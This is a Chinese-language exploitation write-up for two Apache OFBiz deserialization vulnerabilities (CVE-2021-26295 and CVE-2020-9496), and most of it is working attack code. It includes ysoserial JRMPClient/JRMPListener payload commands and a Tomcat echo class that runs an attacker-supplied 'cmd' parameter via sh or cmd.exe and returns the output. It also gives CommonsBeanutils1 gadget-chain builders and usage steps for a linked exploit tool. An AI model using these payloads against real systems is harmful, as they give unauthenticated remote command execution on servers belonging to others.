Apache Ofbiz 反序列化漏洞回显利用与工具实现
0x00 前言
本文详细分析 Apache Ofbiz 的两个反序列化漏洞 CVE-2021-26295 和 CVE-2020-9496 的回显利用方法,并提供完整的工具实现方案。通过学习这两种漏洞的回显利用技术,可以更高效地进行安全测试和漏洞验证。
0x01 环境搭建
环境准备
wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
unzip apache-ofbiz-17.12.01.zip
cd apache-ofbiz-17.12.01
sh gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadDefault
./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
./gradlew ofbiz # 启动OFBiz
调试环境
在 IntelliJ IDEA 中导入项目进行调试
0x02 CVE-2021-26295 回显利用
漏洞原理
CVE-2021-26295 是反序列化白名单绕过漏洞,位于 java/org/apache/ofbiz/base/util/SafeObjectInputStream.java。虽然使用了 SafeObjectInputStream 进行封装(白名单校验),但忽略了 java.* 中还有 java.rmi.* 可以进行调用。
传统利用方式
- 使用 ysoserial 生成 JRMPClient 的 payload
#coding:utf-8
import subprocess
ip = "127.0.0.1"
port = "12345"
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "JRMPClient", "{}:{}".format(ip, port)], stdout=subprocess.PIPE)
payload = popen.stdout.read()
post_data = payload.hex().upper()
print(post_data)
- 监听 JRMP Listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 "calc.exe"
回显利用实现
通过 org.apache.catalina.core.ApplicationFilterChain 中的 lastServicedRequest 和 lastServicedResponse 获取 request 和 response 实现回显。
Tomcat 回显代码 (EvilTemplatesImpl.java):
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import java.io.InputStream;
import java.lang.reflect.Field;
import javax.servlet.*;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
ServletRequest request_test = lastServicedRequest.get();
ServletContext servletContext = request_test.getServletContext();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
}catch (Exception e){
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {}
}
CommonsBeanutils1 利用链代码 (JRMPTest.java):
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.example.EvilTemplatesImpl;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class JRMPTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String args[]) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "EvilTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
JRMPListener jrmpListener = new JRMPListener(12345,queue);
jrmpListener.run();
}
}
注意事项
- 每次生成的 JRMPClient 的 payload 只能触发 server 连接远程的 JRMP Server 一次
- 需要重新生成 payload 才能再次触发(因为 objid 需要重新生成)
0x03 CVE-2020-9496 回显
漏洞原理
通过 /webtools/control/xmlrpc 接口传入 XML-RPC 数据,XmlRpcEventHandler 的 getRequest 方法解析数据,scanDocument 扫描解析 xml 元素。解析 serialize 标签时,getParser 方法判断 pUri 是否与 EXTENSIONS_URI 相等,进入 SerializerParser 进行反序列化操作,最终取出 serializable 标签中的数据进行反序列化。
回显利用代码
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Base64;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
public class CommonsBeanutilsTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String args[]) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
String a = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(a);
}
}
0x04 工具集成与使用
1. CVE-2021-26295 利用工具
- 使用 Listen-AllServer 开启 JRMP 监听
- 选择对应的 exp
- 设置远程监听端口、payload
- 填入目标 URL 和命令
- 执行 exploit
2. CVE-2020-9496 利用工具
- 选择相应的 exp
- 填入目标 URL 即可
0x05 工具地址
工具实现代码位于: https://github.com/MrMeizhi/DriedMango